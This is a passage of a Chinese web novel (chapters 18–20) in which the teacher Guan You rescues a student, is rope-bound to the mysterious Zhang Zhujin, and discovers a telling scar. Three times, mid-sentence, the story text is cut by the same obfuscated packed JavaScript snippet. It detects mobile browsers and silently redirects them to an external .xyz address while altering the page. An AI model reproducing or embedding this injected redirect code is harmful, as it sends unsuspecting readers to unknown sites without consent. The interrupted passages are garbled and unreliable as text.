【00:02:57】 【00:02:56】 冰冷的、血红的数字,如同两把尖刀,狠狠刺入每个人的瞳孔! “还剩三分钟。”橘猫的声音愉快地像在宣布一场游戏的暂停,“距离本轮试胆彻底结束,获得离开宿舍的‘资格’,还有最后三分钟。” “请帮助最后一个成员拿到属于他的钥匙。” “不可能!!”刘立涛第一个崩溃嘶喊出来,沾满血污的手指死死指向半空中的章著金,“他……他没有结!拿什么钥匙?而且,而且我们……我们拿到了钥匙!规则的开始可没说要所有人都能拿到钥匙!” “它耍我们!耍我们!”周昌南目眦欲裂,仅剩的左手抓起一把泥沼中染血的钥匙,发疯般砸向半空中的橘猫虚影,“老子砸死你这死猫!!!” 钥匙穿过橘猫的身体,毫无阻滞地落进远处的泥浆,又被无声弹起,再次落回了他的手心。 “没有结……没有结……我们死定了……呜呜……”魏莱的眼泪终于崩溃决堤。 “老师!老师!”童话挣扎着挪向官酉身边,沾满泥污的手死死抓住他的衣角,声音破碎绝望,“想想办法……救救我们……章著金,是不是还有什么别的我们肉眼看不见的绳结……” 沙砾在无声坠落,如同达摩克利斯之剑,悬于每个人的灵魂之上。 所有人不约而同的眼巴巴的看着官酉,期待着他的答案。 18. 中国结(18) 倒计时无情跳动—— 【00:01:59】 空气粘稠得令人窒息。 数据心脏沉重地搏动着。 每一次收缩都牵动着那条连接章著金的暗金“脐带”,仿佛在为最终湮灭积蓄力量。 绝望的阴云笼罩在每个人心头,连劫后余生的喘息都变得微弱。 官酉猛地抬起了头。 镜片后布满血丝的眼睛,死死盯着那条贯穿虚空、将章著金与数据核心紧密相连的暗金色数据流,脑筋转的飞快。 橘猫宣读规则时冰冷的声音在他脑海中回放:“请帮助最后一个成员拿到属于他的钥匙。” 帮助?拿到? 官酉的心脏猛地停跳了一秒。 伪装前任的记忆突然跃上心头。 好熟悉的剧情。 那次也是一样,是个躲不过的文字陷阱。 反观这条规则—— 它只要求“帮助拿到钥匙”,却从头到尾都没有说过一句——“必须由学员本人解开自己身上的绳结”。 这应该是和那个文字游戏一样的,一个换元逻辑题! 章著金的“技艺来源”数据流源头是章知白,而章知白并非注册学员,未被系统纳入“技艺学习”的范畴。 因此,系统无法在章著金身上生成“绳结”这个具象化的考题载体。 钥匙必然存在,它一定藏在连接章著金与数据核心的这条异常数据流中。 但要取得它,常规的“解开绳结”方式根本无效! 需要的是——替代!覆盖!权限介入! 【00:01:38】 官酉深吸一口气,目光炯炯有神。 五年!整整五年与章知白意识共生! 那个臭屁又天才的外科大夫,他那些精妙绝伦的手术技巧,那些对解剖结构近乎本能的掌控,那些在无数个深夜里探讨的病例细节……早已如同呼吸般烙印在官酉的脑海深处。 他不是外科大夫,但他比任何人都了解章知白会什么! 这一局,他能做!也只有他能做! 为了弄清章著金和章知白之间那令人心惊肉跳的联系,为了不让身后这些学员出事,更为了自己——他绝不能死在这里! 官酉深吸一口气,像是下定了某种决心一般,猛地将右手探入教师礼包。 动作快如闪电,没有丝毫犹豫。 指尖触及一张冰冷坚硬的金属片。【作弊券】三个字在指腹下微微发烫。 一行信息刺入他的大脑。 【作弊券(绿色一星):是不是遇到了解决不了的难题?没关系,对于新入行的教师,我们都是十分仁慈的!】 【这张作弊券送给你,配合你的教师墨镜,和羞耻度满分的口号,可以解决当下的困扰哦~】 【本券为一次性使用道具,用完请记得及时兑换~】 一句口号顺着官酉的指腹丝滑的窜入他的大脑。 官酉身子一僵,膝弯咻得一软,整个人向后倒去。 “教授?!”离他最近的夏铭眼疾手快,一把扶住他摇摇欲坠的身体,“您怎么了?!” 官酉没有回答,喉咙像是被堵住,脸上的神色又惊又羞又恼,像是被忽然塞了什么带有颜色的废料一样。 他目光扫过一张张因恐惧和痛苦而扭曲的脸庞,还有泥沼边缘,那个看似闲适、却如风中飘萍般等待湮灭的章著金。 不能死!他们都不能死!至少现在不能! 一股破釜沉舟的狠劲猛地冲散了羞耻感。 官酉深吸一口气,仿佛要将所有屈辱和犹豫都压入肺腑深处。 他摸了下鼻梁上的教师墨镜,镜片瞬间切换至无色模式。 视野再次被汹涌的数据洪流淹没。 无数技艺和记忆的碎片在上面疯狂闪烁、流淌。 精巧的缝合手法,对复杂瘤体的精准剥离,对骨骼缝隙的了如指掌…… 忽然,他看到在暗金数据流的最深处,出现了一个由高度压缩能量构成、形态不断变幻的“锁孔”结构。 官酉瞳孔一缩,瞬间攥紧了拳头。 就是那里!钥匙的藏匿点! “钥匙!在那里!” 他一步踏前,脚下粘稠的泥浆“噗”地溅起。 在众人惊愕的目光中,官酉高举手中那张闪烁着微弱白光的交换券,以开山裂石般的决绝姿态,狠狠刺向那条连接着章著金与数据心脏的、粗壮狰狞的暗金色数据血管! “以喵喵真理之名!” 官酉几乎是吼出来的,那羞耻的口号如同惊雷炸响在死寂的大厅,带着一种孤注一掷的悲壮。 “知识就是力量,作弊拯救世界!我以实习教师官酉之名,行使最高教学权限!” 他的声音通过小蜜蜂被放大,冰冷、清晰,瞬间压过了数据心脏濒死的搏动声。 “代行学员章著金之‘过往’清算!此身所负之‘技艺’与‘罪责’——我来担!!” “嗤啦——!!!” 邀请函锋利的边缘如同热刀切入凝固的油脂,狠狠楔入沸腾的暗金数据流! 时间仿佛在这一刻凝固了半秒。 紧接着—— “轰——!!!!!” 无法形容的恐怖能量骤然从那道被撕裂的伤口中喷薄而出! 大厅内瞬间被刺目欲盲的暗金光芒彻底吞噬! 那光芒并非温暖,而是带着金属被强行撕裂、熔化的极致高温与毁灭气息! 悬吊在半空的章著金身体猛地一颤,一直低垂的头颅第一次完全抬起! 发丝被狂暴的能量乱流向后吹拂,露出了他那张过分漂亮的脸。 此刻,那脸上一直挂着的慵懒、玩味、审视……所有面具般的表情彻底消失。 取而代之的,是极致的、无法掩饰的惊愕。 他那双漂亮的桃花眼第一次瞪大到极限,瞳孔因强烈的光芒和更强烈的冲击而收缩,里面清晰地倒映着官酉在毁灭光流中挺立的身影,以及……那抹连他自己都未曾察觉的、一闪而逝的震骇! “呃啊——!” 官酉发出了痛苦的嘶吼。 作弊券作为导体,海啸般的暗金数据洪流与其中蕴含的、属于章知白的庞大记忆碎片,以及系统被强行入侵引发的规则反噬,顺着他的手臂蛮横地冲入他的大脑。 【警告!检测到高维规则权限冲突!】 【教师护盾过载!能量削弱99%!濒临崩溃!】 【意识稳定度:45%-30%-15%!!!濒危!!!请立刻开启自救!!!】 冰冷的警报在官酉脑中化作尖锐的蜂鸣。 眼前炸开一片惨白的雪花和扭曲的色块,耳中是亿万亡魂叠加的尖锐嘶嚎。 他感觉自己的意识如同暴风雨中的舢板,随时会被彻底撕碎! 但他的手,那只握着作作弊券的手,如同焊死在暗金血管上一般,纹丝不动。 指关节因过度用力而发出不堪重负的“咯吱”声。 替代! 他必须完成替代! 钥匙……就在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982754|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洪流的尽头! “给……我……出……来!!!” 官酉喉咙里挤出野兽般的咆哮,全身力量灌注于右臂,用尽最后一丝意志,将邀请函向数据洪流的更深处狠狠一剜—— “铮——!!!” 一声清越悠扬、如同金石交击般的颤鸣,瞬间压过了所有毁灭的轰鸣。 暗金色的狂暴洪流猛地一滞。 一道凝练到极致、散发着永恒不朽气息的血金色光芒,如同划破永恒黑夜的流星,自那被撕裂的创口处骤然迸发。 它无视了空间的阻隔,无视了肆虐的能量乱流,精准无比地射向章著金虚握的掌心。 光芒骤然收敛—— 一枚造型奇异、非金非玉的绳结静静躺在章著金苍白的手心。 它通体流转着温润的血金光泽,表面天然生成着玄奥繁复的纹路。 【疑问绳结生成。】 【提问:他死的那一刻在想什么?倒计时三秒。】 【三——】 官酉愣了一下,无数画面在官酉被洪流冲击得近乎破碎的意识中闪现。 刺耳的刹车声,飞溅的玻璃,医院刺目的无影灯,额头上碗口大的伤口暴露着粉白的脑组织。 以及……一个轻佻带笑、却无比清晰的声音在他刚恢复意识的脑海中说:“嗨,新室友,借个宿,不介意吧?” 【二——】 官酉深吸一口气:“我。” 如果说,他死后所有的执念与偏执都是生的话,那这个落点只可能是我。 【回答正确。】 “咔嚓!嘣——!!!” 连接章著金与数据心脏的那条粗壮暗金血管,如同被抽掉脊梁的巨龙,寸寸断裂、崩解。 无数暗金色的数据碎片如同暴雨般从半空洒落,还未触及泥沼便化作点点荧光消散。 “呜——嗡——!!!” 大厅中央那颗缓慢搏动的巨大暗红色数据心脏,发出了濒死般的、低沉悠长的悲鸣。 它剧烈地痉挛、抽搐,表面的血色纹路飞速黯淡、熄灭,构成心脏的无数数据流开始崩溃、逸散。 束缚着章著金的暗红绳索瞬间失去了所有力量,如同腐朽的枯藤,无声地滑落、消散。 噗通。 章著金轻盈地落在泥沼边缘,脚下没有溅起一丝泥浆。 他微微低着头,看着掌心那枚温润的血金钥匙,长久的沉默。 翻飞的发丝再次垂落,遮掩了他所有的表情,只有握着钥匙的指节,因过度用力而微微泛白。 整个大厅陷入一片死寂。 只有数据心脏崩溃时发出的、如同风中残烛般的“滋啦”电流声,以及劫后余生的官酉压抑到极致的、粗重而颤抖的喘息。 【叮!学员章著金试炼流程强制完成!】 【钥匙:意识回响之钥(特殊)已生成】 【突发任务:意识屏障再构筑——完成】 【学员意识稳定度已回升至安全阈值】 【积分结算:基础奖励50积分+8名学员存活奖励40积分=90积分】 【当前累计积分:255】 橘猫的身影不知何时再次出现在布满爪痕的木桌残骸上。它琥珀色的猫瞳倒映着正在缓缓消散的数据心脏残骸,尾巴尖极其轻微地、难以察觉地……颤动了一下。 “试胆大会结束。”它的声音依旧平稳无波的,但尾调似乎多了一丝几不可闻的……凝滞? “钥匙发放完毕。” “宿舍分配,生成中。” 19. 中国结(19) 一股巨大的疲惫和劫后余生的虚脱感瞬间席卷了官酉的四肢百骸。 255分。 这意味着他暂时摆脱了抹杀的阴影。 延长魔方的价格是100积分一枚,这些积分足以支撑他在这个鬼地方活过相当长一段时间。 然而,冰冷的电子音没有丝毫停歇,紧随其后再次响起—— 【嘀!检测到教师行为触发特殊判定】 【行为:利用规则文字漏洞“代行学员过往清算”】 【判定结果:发现系统规则逻辑BUG】 【BUG类型:复杂级】 【BUG举报奖励发放:10积分】 【当前累计积分:255+10=265积分】 BUG奖励?! 官酉微微一怔,随即嘴角扯起一个冰冷的弧度。 果然,游戏制作方在鼓励教师和学员“找BUG”。 他这冒险一搏的代行,不仅拿到了钥匙救了人,还被系统判定为“找BUG成功”……真是讽刺。 265分。 冰冷的数字沉甸甸地压在心头,带来的不是喜悦,而是更深的寒意。 这积分获取的速度和背后的代价…… “宿舍分配完成。” 橘猫的声音打破了短暂的沉寂。 它的尾巴在空中划过一个优雅的弧度,九道微光分别射向散落在泥沼中或众人手中的钥匙。 钥匙微微一颤,随即在表面浮现出细小的、发光的数字。 官酉低头看向自己手中那枚古朴的铜钥匙——308。 夏铭和刘楚恬对视一眼,她们手中的钥匙分别显示:304。 秦狩和周昌南的钥匙:305。 魏莱和童话的钥匙:306。 刘立涛死死攥着的钥匙:307。 九枚钥匙,五个房间号。 四个双人间,1个单人间。 “双人间共享空间,规则束缚下相对安全。单人间……”橘猫琥珀色的眼珠转向孤零零站着的章著金,声音毫无波澜,“需独自面对‘过往’的回响,风险自担。” 所有人的目光不约而同地随着橘猫一起转向了第九个人——章著金。 规则宣判之后,他的房号显得尤其重要。 他依旧站在泥沼边缘,微微低着头,指尖把玩着那枚散发着温润血金光芒的奇异钥匙。 钥匙光滑的表面,没有任何数字浮现。 章著金似乎察觉到了众人的注视,缓缓抬起头。 他脸上那惊愕的表情早已消失无踪,重新挂上了那副官酉无比熟悉的、带着轻佻佻审视的笑容,只是眼底深处,似乎多了一点难以捉摸的……兴味? 他迈开脚步,踩着几乎没有声音的步伐,径直走向官酉。 修长的身影在昏黄摇曳的光线下,拖出一道长长的、带着压迫感的影子。 “教授~”章著金在官酉面前站定,声音依旧是那种黏腻的、拖着长长尾调的腔调。 他抬起右手,那枚血金钥匙在他指尖灵活地翻转,反射出迷离的光。 同时,他的左手从西装裤袋里慢悠悠地抽了出来,指间缠绕着一截毫不起眼的、暗红色的、仿佛由凝固血液编织而成的细绳。 “您看,这宿舍分配,似乎有点小问题。”他歪了歪头,桃花眼微眯,笑容加深,“我嘛,初来乍到,人生地不熟。一个人住,怪害怕的。” 他的目光意有所指地扫过官酉手中的303钥匙。 “不如……”章著金左手轻轻一抖,那截暗红细绳如同活物般舒展开来,一头缠绕在他自己的左手腕上,另一头则如同毒蛇吐信,闪电般射向官酉握着钥匙的右手腕! “我们挤一挤?” 官酉瞳孔骤缩!在墨镜的视野里,那截暗红细绳爆发出刺目的规则红光! 【道具:两人三足绳(蓝色三星)】 【描述:源自古老游戏的残酷变形。使用后强制绑定施术者与目标,形成“命运共同体”。绑定期间,双方距离不得超过绳长,否则将触发“断足”惩罚。解除需双方自愿或一方死亡。】 【备注:哟!感情升温小帮手!不想同生?那就共死咯!】 “你——!”官酉怒喝出声,想要闪避,但绳子的速度快得超乎想象! “啪嗒!” 一声轻响—— 暗红细绳如同拥有生命的活物,缠上了官酉的右手腕。 另一端啧紧紧系在章著金的左手腕上。 官酉身子一颤,只觉得有一股冰冷滑腻、如同毒蛇缠绕的束缚感瞬间从手腕蔓延至全身。 “绑定成功!”章著金满意地晃了晃被系在一起的左手腕,血金钥匙在他右手掌心轻轻一抛,“双人房,确实比较划算。” 他凑近一步,几乎贴着官酉的耳边,温热的呼吸喷洒在官酉冰冷的耳廓上。 他的声音压得极低,带着一丝恶作剧得逞般的愉悦:“今晚,请多指教了,我的‘室友’。” 官酉的脸色瞬间阴沉得能滴出水来。 官酉的脸色瞬间阴沉得能滴出水来。 这狗东西,居然在用章知白惯常对他说话的腔调! 腕间的绳索传递着章著金平稳的体温,却只让官酉感到更深的寒意。 眼前这张脸,这举止,这声音,都熟悉得令人心悸。 但那眼神深处的东西……冰冷、审视、带着掌控一切的戏谑,却又透着一股活生生的的真实感。 他究竟是窃取了章知白意识的赝品,还是……章知白被某种力量扭曲后的存在? 试胆大会最后看到的“章知白”数据流,像一根刺扎在官酉心里。 他必须弄清楚这一切。 “走啦!” 章著金却似乎心情极好,他不再看官酉阴沉的脸,转身迈步。 那暗红绳索瞬间绷直,一股沛然莫御的力量传来,官酉猝不及防,被拉得一个踉跄,身不由己地被拖拽着靠上章著金的后背。 “教授!”夏铭等人惊呼出声,下意识地想上前阻拦。 橘猫冰冷的声音适时响起:“宿舍分配已定,通道开启。滞留大厅,后果自负。” 它的话音刚落,大厅侧面一堵斑驳的石墙无声地向内滑开,露出后面一条向上延伸的、盘旋的、笼罩在惨绿色应急灯光下的石阶。 空气中弥漫的福尔马林和铁锈味骤然浓郁起来。 章著金拖着官酉,如同拖着一个不情愿的行李,径直走向那条幽深的楼梯。 绷直的暗红绳索在昏光下如同一条猩红的锁链,牢牢地拴住两个人。 秦狩等人面面相觑,看着两人消失在楼梯拐角的惨绿光影里,又看了看橘猫冰冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982755|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的注视,最终只能咬牙,互相搀扶着,握紧各自的钥匙,忐忑地跟了上去。 狭窄、陡峭、盘旋的石阶仿佛没有尽头。 冰冷的石壁不断向内挤压,渗出的水珠带着浓重的消毒水气味。 惨绿色的灯光在头顶摇曳,将人影拉长、扭曲,投在湿滑的墙壁上,如同幢幢鬼影。 腕间的绳索传来章著金平稳的体温,却让官酉感觉更加冰冷。 官酉看着章著金的背影,神色捉摸不定。 “教授,绷这么紧做什么?”章著金头也不回,轻快的声音在幽闭的空间里回荡,带着明显的调笑,“怕我吃了你?还是……” 他微微侧头,余光扫过官酉紧抿的唇,“在盘算着怎么‘审问’我?” 他轻笑一声,那笑声在石壁间碰撞,显得格外空灵,“放心,漫漫长夜,我们有的是时间……‘坦诚相见’。” 官酉的指关节在身侧捏得发白,一股被看穿心思的恼火混合着对未知的忌惮涌上心头。 他强行压下,只是冷冷地哼了一声,目光锐利地盯在章著金的背影上,试图从那看似随意的步伐中捕捉任何可能的破绽。 终于,盘旋的楼梯抵达尽头。 眼前是一条笔直、幽深、同样笼罩在惨绿色灯光下的走廊。 两侧是厚重的、深棕色的木门,门牌号在昏暗光线下依稀可辨:301,302…… 走廊的尽头,最后两扇门。 左侧的门牌在绿光下清晰显示:307。 而右侧…… 官酉的目光死死钉在右侧那扇门上。 门牌是:308。 就在章著金拖着官酉,脚步停在308门前,那枚血金钥匙即将插入锁孔的瞬间—— 异变陡生! “吱呀——” 一声令人牙酸的、仿佛生锈铰链被强行扭动的摩擦声,突兀地从307的门内响起! 紧接着—— “噗!” 一股粘稠、冰冷、散发着浓烈刺鼻福尔马林气味的液体,如同压抑了许久的脓血,猛地从307号房的门缝下方激射而出。 暗黄浑浊的液体带着刺骨的寒意,瞬间泼溅在门前的刘立涛脚上,甚至溅到了离得稍近的童话和魏莱的裤腿上。 “啊——!” 童话和魏莱的尖叫声划破死寂的走廊! 刘立涛更是浑身剧颤,脸色“唰”地一下惨白如纸,像是被毒蛇咬中脚踝,猛地向后跳开,惊魂未定地看着自己靴子上沾染的、散发着强烈防腐剂气味的粘稠液体,胃里一阵翻江倒海! 就在众人被这突如其来的恐怖一幕震慑住的瞬间—— 章著金手中的血金钥匙,已经悄无声息地插入了308号房门的锁孔。 咔哒。 一声轻响,门开了。 一股比走廊上浓郁十倍、冰冷彻骨、仿佛停尸房冰柜全开的福尔马林寒流,混合着陈腐的尘埃气息,如同无形的巨手,猛地从门内冲出,瞬间将站在门口的官酉和章著金吞没! 官酉被那寒气激得一个哆嗦,紧接着就被腕间绳索传来的巨大力量狠狠一拽! “砰!” 308厚重的房门在他身后猛地关上,隔绝了外面所有的惊叫和惨绿的光线,也隔绝了307门口那滩仍在缓缓扩散的、散发着死亡气息的浑浊液体。 20. 中国结(20) 308宿舍的门隔绝了外界的一切。 门内是比走廊更甚的死寂和深入骨髓的冰寒。 福尔马林混合着陈腐尘埃的气息浓得化不开,每一次呼吸都像吸入冰渣。 惨绿色的应急灯管嵌在天花板角落,吝啬地洒下一点幽光,勉强照亮不足十平米的狭小空间。 两张冰冷的、漆皮剥落的铁架床紧贴着左右墙壁,中间只留一条狭窄的过道。 一张摇摇欲坠的木桌和一把瘸腿椅子挤在墙角。 墙壁是斑驳的深灰色,挂着可疑的暗色水渍。 没有窗户,只有头顶一个巴掌大的金属通风口,被锈死的栅栏封住。 腕间的绳索在进入房间后微微松弛了一些,但三米的极限距离像一道无形的枷锁。 章著金仿佛对这恶劣环境浑不在意,他松开官酉的手腕,径直走向右侧的铁架床,随手将那枚血金钥匙丢在掉漆的床头小柜上,发出“当啷”一声脆响。 官酉站在原地,冰冷的空气刺激着皮肤,但更冷的是章著金那副浑不在意的态度。 数据心脏搏动时的呓呓语,那深深刻在暗金洪流上的名字,还有眼前这张与章知白极其相似的脸……无数线索和情绪在他胸腔里翻涌、冲撞,几乎要破膛而出! “那条数据流……”官酉的声音在死寂的房间里响起,冰冷,沙哑,带着极力压抑住的愤怒与杀气。 他抬手指向虚空,仿佛那里还残留着搏动血管的幻影:“那条连接着你,被系统判定为你‘过往’核心的暗金色数据流……它上面,烙着‘章知白’的名字!” 他猛地向前一步,逼近章著金,惨绿的光线将他眼底的锐利和质疑映衬的无比清晰:“章著金!那名字是什么意思?!” “你和他到底是什么关系?!或者说你到底对章知白做了什么?!” 章著金正弯腰整理自己毫无褶皱的西装下摆,闻言动作微微一顿。 他缓缓直起身,侧过头看向官酉。 幽暗的光线下,他嘴角惯有的那抹轻佻佻笑意并没有消失,反而加深了,只是那笑意未达眼底,桃花眼里是一片深不见底的寒潭。 “哦?” 他拖长了调子,慢条斯理地转过身,正面朝向官酉,右手随意地把玩着自己左手腕上那截暗红绳索。 “教授,您眼镜度数是不是又加深了?” “还是说,你开始被系统同化,相信显示的一切都是真实的?” 官酉微微一愣:“什么意思。” “意思很简单啊,”章著金摊开手,笑容变得轻松,像是在开导一个思维僵化的学生,“数据流嘛……不过是代码的集合体。” “那上面的文字……字体、内容,可都是可以人为设计,可以随意更改的。它敢保真吗?” “不过是些玩弄人心的小把戏罢了,难道你真觉得系统显示什么,那就是板上钉钉的事实?” 他叹了口气,手腕往前一送,绳索随之松弛下来,声音也压低了些,带着某种引人倾听的意味:“也许,只是某个闲得发慌的程序员随手留的恶作剧彩蛋?” “也许,只是某个无聊程序员的恶作剧?” “或者,您太想念您那位‘室友’,又恰巧被系统发现,加以利用,产生了点……美好的幻觉?” “幻觉?” 官酉只觉一股邪火从心底猛地炸开。 他总算是彻底明白了过来,章著金刚刚那番云遮雾罩、故作高深的论调,不过是精心编织的、迷惑人心的废话。 什么程序员玩笑、思念幻化……全都是企图扭曲真相、扰乱他思维的烟雾弹。 胸中的怒火再也压抑不住,官酉冷哼了一声:“藤蔓群绕过你,试胆绳结算缚不了你,你的‘过往’数据源头指向章知白,这也是幻觉?” “章著金,别跟我玩这套云里雾里的把戏!告诉我,章知白在哪?!” 章著金脸上的笑容终于淡了下去,眼底最后一丝温度也消失了,只剩下冰冷的审视和一丝被冒犯的不耐。 他微微眯起眼,声音依旧平稳,却听着森冷无比:“教授,注意你的措辞和距离。我的事情,还轮不到你来盘问。至于章知白……” 他故意停顿了一下,嘴角勾起一个近乎残忍的弧度:“他死了。五年前就死透了。烧成灰了。这个答案,你满意了吗?” “放屁!” 官酉被这轻描淡写的“死透了”彻底激怒。 理智的弦在这一刻绷断。 他猛地一个箭步上前,左手如同铁钳般狠狠抓向章著金的左肩,试图将他按在冰冷的墙壁上逼问。 章著金眼神一厉,几乎在官酉动手的瞬间侧身闪避。 “刺啦——!!!” 一声刺耳至极的裂帛声在狭小的宿舍内炸响。 官酉情急之下的全力一抓,加上章著金迅捷的闪避,作用力全部落在了章著金那件修身昂贵的西装外套和里面的丝质衬衫上! 脆弱的丝帛根本无法承受这股蛮力。 左侧肩线至胸口位置的外套和衬衫被硬生生撕裂开来。 三颗精致的贝壳纽扣如同被枪击般“啪啪啪”地崩飞出去,砸在铁架床栏杆和墙壁上,发出清脆的弹跳声。 章著金半边肩膀和胸口瞬间暴露在惨绿色的幽光下。 冰冷的空气被骤然灌入。 章著金白皙的皮肤应激性地立起一片细密的颗粒,瞬间泛起一层被寒意侵染的潮红。 时间仿佛在这一刻凝固了。 所有的声音都消失了。 官酉抓出的左手僵在半空,瞳孔因为极致的震惊而骤然收缩。 他的呼吸停滞了,全身的血液似乎瞬间冲上头顶,又在下一秒冻结成冰。 视线碰到章著金左侧锁骨下方,靠近心脏的位置。 一道暗红色的、长约三厘米的陈旧疤痕,如同一条狰狞的蜈蚣,清晰地烙印在白皙的皮肤上! 那疤痕的走向、边缘细微的不规则锯齿、甚至缝合针留下的、极其细微的、如同星点般的印记…… 都与他记忆中——五年前那场惨烈车祸后,他在调查资料时,第一次透过照片看到的、躺在隔壁ICU里昏迷不醒的章知白身上,那道伤口一模一样,分毫不差。 “轰——!” 官酉的脑子一片空白。 所有的记忆碎片在这一刻疯狂涌现、重叠,最终聚焦在眼前这道旧疤上。 这怎么可能?! 章著金的身体也僵住了。 他低头看了一眼自己暴露在冰冷空气中的胸口,那道陈旧的伤疤在幽绿的灯光下显得格外刺目。 他脸上所有的表情如同被瞬间打碎的玻璃面具,彻底消失了。 取而代之的,是一种官酉从未见过的、纯粹的、冰冷的怒意。 那怒意如同实质的寒流,瞬间席卷了整个狭小的宿舍,让本就冰冷的温度骤降。 章著金猛地抬起头,眼神锐利如刀,直直刺向官酉震惊失神的脸。 他的声音压得极低,每一个字都像是从冰窖里凿出来的:“放、手。” 没有称呼,没有尾调,只有赤裸裸的命令和压抑到极致的暴怒。 官酉被那眼神刺得一激灵,僵在半空的左手下意识地松开了抓着的破碎衣料。 章著金看也没再看官酉一眼,仿佛那道疤和官酉的存在都让他感到极度不适。 他猛地一扯被撕裂的衣襟,将那道伤疤重新遮掩在破碎的布料下,动作粗暴而迅速。 然后,他转身,头也不回地径直走向宿舍角落那个仅容一人转身的、锈迹斑斑的小隔间——宿舍自带的简陋淋浴室。 “嘭——!!!” 隔间那扇薄薄的、布满水渍的磨砂玻璃门被狠狠甩上。 巨大的撞击声在封闭的宿舍里回荡,震得铁架床都嗡嗡作响,墙皮簌簌落下几片碎屑。 紧接着,里面传来粗暴地拧动老旧水龙头的“嘎吱”声。 “哗——!” 冰冷刺骨的水流猛烈地冲击在金属隔板上的声音骤然响起,充斥了整个房间,如同章著金无声的怒火在咆哮。 官酉僵立在原地,像一尊被抽空了灵魂的石像。 左手还保持着僵硬的姿势,指尖残留着撕裂布料的触感和……一丝冰冷的、属于章著金皮肤的温度? 那道伤疤的影像如同烧红的烙铁,深深烙印在他的视网膜上,挥之不去。 震惊、困惑、荒谬、还有一丝连他自己都不愿承认的恐慌……如同冰冷的藤蔓缠绕住心脏,越收越紧。 腕间的绳索因为章著金的移动而微微绷直,拉扯感传来。 官酉失魂落魄地被这股力量牵引着,踉跄后退几步,重重跌坐在自己那张冰冷坚硬的铁架床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982756|172242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 铁床发出不堪重负的呻吟。 宿舍里只剩下哗哗的水声,单调、冰冷、永无止境。 福尔马林的气味,冰冷潮湿的空气,惨绿的光线,腕间绳索的束缚感……一切都显得如此不真实。 唯有那道伤疤,清晰得可怕。 章知白的伤疤……为什么会出现在章著金身上?! 掠夺?覆盖?还是……更可怕的……取代? “嗡……” 就在官酉的思绪陷入一片混乱泥沼时,一个冰冷而规律的滴答声,如同穿透迷雾的灯塔,清晰地在他脑海中响起—— 【抹杀倒计时:09:27:22】 【抹杀倒计时:09:27:21】 【抹杀倒计时:09:27:20】 … 无论这个空间的时间如何被扭曲、被玩弄,无论外面的世界是白天还是黑夜,唯有这个烙印在他意识深处的死亡倒计时,始终在坚定不移地、一秒一秒地向前流逝。 它像一根冰冷而精准的锚,死死地钉在混乱的时间之河中,成为了官酉此刻唯一可以确认、可以依赖的“真实”参照物。 还有九小时二十七分钟…… 他需要时间理清这一切。 需要力量摆脱束缚。 更需要找到章知白真正的下落。 哗哗的水声持续了许久,久到官酉几乎要被这冰冷死寂的环境和沉重的思绪压垮。 终于,水声停了。 隔间里传来衣物摩擦的窸窣声。 片刻,那扇布满水汽的磨砂玻璃门“吱呀”一声被推开。 章著金走了出来。 他换上了一身干燥的、同样质地精良的黑色丝质睡衣。 湿漉漉的头发搭在额前,发梢滴着水。 破碎的衬衫和西装外套不见了,那道伤疤被严严实实地遮掩在柔软的睡衣布料下。 他脸上没有任何表情,之前的暴怒仿佛也被冷水冲刷干净,只剩下一种近乎淡漠的冰冷。 他看也没看坐在床边、形容狼狈的官酉一眼,径直走向自己的那张铁床。 腕间的绳索随着他的走动再次绷紧,将官酉从混乱的思绪中强行扯回现实。 就在章著金走到床边,准备躺下休息的瞬间—— “咪呜~咪呜咪呜~” 一个与这死寂阴冷环境格格不入的、带着稚嫩空灵感的童声,如同幽灵电台的杂音,毫无征兆地直接在官酉和章著金的脑海中同时响起! 【亲爱的实习教师官酉及助教章著金,晚上好!】 【喵喵非遗小课堂(中国结编织技艺)第一日学习安排,现在发布!请务必牢记哦!】 【学习时间:明日上午8:00准时开始!迟到者将扣除课堂表现分,并可能触发“小小”的意外惩罚!】 【学习地点:教学楼8号楼,负一层——“永生池”。】 【学习内容:材料认知与基础触感训练。】 【温馨提示:】 【1.请自备呕吐袋。】 【2.请务必确保精神状态稳定。池内材料较为“活泼”,过度惊吓可能导致精神污染指数飙升。】 【3.教师请携带好教鞭,某些“活泼”材料可能需要您的引导方能安静学习。】 【4.助教章著金,请特别留意您的“学习伙伴”,它似乎对您的气息格外“眷恋”。】 【祝各位预习愉快!做个好梦(如果还能睡着的话)!喵~!】 童音消失。 宿舍内重新陷入死寂。 只有福尔马林的冰冷气息,在无声地弥漫开来。 “永生池”……材料认知……呕吐袋…… 官酉的心,沉入了更深、更冷的寒渊。腕间的绳索传来章著金平稳的体温,此刻却如同毒蛇的缠绕。 